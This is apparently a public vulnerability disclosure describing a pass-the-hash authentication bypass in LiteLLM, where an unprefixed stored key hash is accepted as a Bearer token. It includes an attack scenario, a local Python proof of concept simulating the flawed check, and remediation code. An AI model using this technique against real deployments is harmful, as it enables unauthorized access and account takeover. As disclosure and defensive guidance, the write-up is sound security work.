Authentication Bypass via Pass-the-Hash in LiteLLM
Disclosure Note
Originally reported via Huntr and publicly disclosed after the disclosure period:
huntr.com/bounties/9d13a33e-b5ec-4555-a2a4-f0cb2c70cab7This write-up documents an Authentication Bypass vulnerability in LiteLLM caused by inconsistent API key hashing during authentication. An attacker who obtains a valid API key hash from database logs, backups, or leaks can directly supply this hash as a Bearer token to gain access.
Summary
A logic flaw exists in LiteLLM's API key validation mechanism. While API keys are always stored as SHA-256 hashes in the database, the authentication flow only hashes incoming tokens that begin with the specific prefix:
sk-
As a result, if an attacker obtains the SHA-256 hash of a valid API key, they can directly pass the hash as a Bearer token. The server compares the unhashed attacker token directly with the stored database hash, resulting in successful authentication. This effectively turns the stored hash into a reusable credential.
Severity Details
| CWE | CWE-287 (Improper Authentication) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Impact | Authentication Bypass / Account Takeover / Unauthorized LLM Use |
Root Cause Analysis
Key Creation
During API key creation, LiteLLM hashes all tokens before saving them in the database:
stored_hash = sha256(api_key)
For example, the key sk-secret is hashed to:4de6944a7c8afefe39feabc2293761d72270e14b397373581f23ce3db12ddf82
Conditional Hashing in Authentication
During token authentication, LiteLLM processes incoming tokens with conditional logic:
def _hash_token_if_needed(token):
if token.startswith("sk-"):
return sha256(token)
return tokenIf the provided token does not start with the prefix sk-, the logic returns the token as-is. If the attacker supplies the raw SHA-256 hash (which does not start with sk-), the function skips hashing. Thus, the comparison of the incoming token directly matches the stored database hash, completing the bypass.
Attack Scenario
Hash Exposure
An API key hash is exposed via database logs, backups, debug endpoints, or administrative views.
Extract Hash
The attacker extracts the raw SHA-256 value of the key.
Bearer Injection
The attacker configures their client authorization header using the hash directly as the Bearer token.
Prefix Skip
LiteLLM skips the hashing function because the hash value does not start with "sk-".
Bypass Complete
Comparison succeeds against the stored database hash, granting full access.
Proof of Concept
Below is a Python demonstration showing how the verification logic accepts raw hash tokens:
import hashlib
def hash_token(token: str):
return hashlib.sha256(token.encode()).hexdigest()
def _hash_token_if_needed(token: str):
"""
Simulates LiteLLM's vulnerable logic.
"""
if token.startswith("sk-"):
return hash_token(token)
return token
print("=== LiteLLM Pass-the-Hash PoC ===\n")
# Legitimate User
real_api_key = "sk-secret"
stored_hash = hash_token(real_api_key)
print("[+] Legitimate API Key")
print(real_api_key)
print("\n[+] Stored Database Hash")
print(stored_hash)
# Attacker obtains hash
attacker_token = stored_hash
print("\n[+] Attacker Uses Hash As Bearer Token")
print(attacker_token)
processed_token = _hash_token_if_needed(attacker_token)
print("\n[+] Processed Token")
print(processed_token)
if processed_token == stored_hash:
print("\n[!] AUTHENTICATION SUCCESSFUL")
print("[!] Pass-the-Hash Authentication Bypass Triggered")
else:
print("\n[-] Authentication Failed")
assert processed_token == stored_hash
print("\n[+] PoC Completed Successfully")Remediation
To remediate the vulnerability, LiteLLM must normalize and hash all incoming API tokens before comparing them with stored values, regardless of prefix. Stored database hashes should never be allowed as credentials.
# Remediated flow: always hash the token for database lookup
def normalize_token(token):
return sha256(token)
# Alternatively, reject requests containing raw 64-character hex tokens
if len(token) == 64 and is_hex(token):
reject()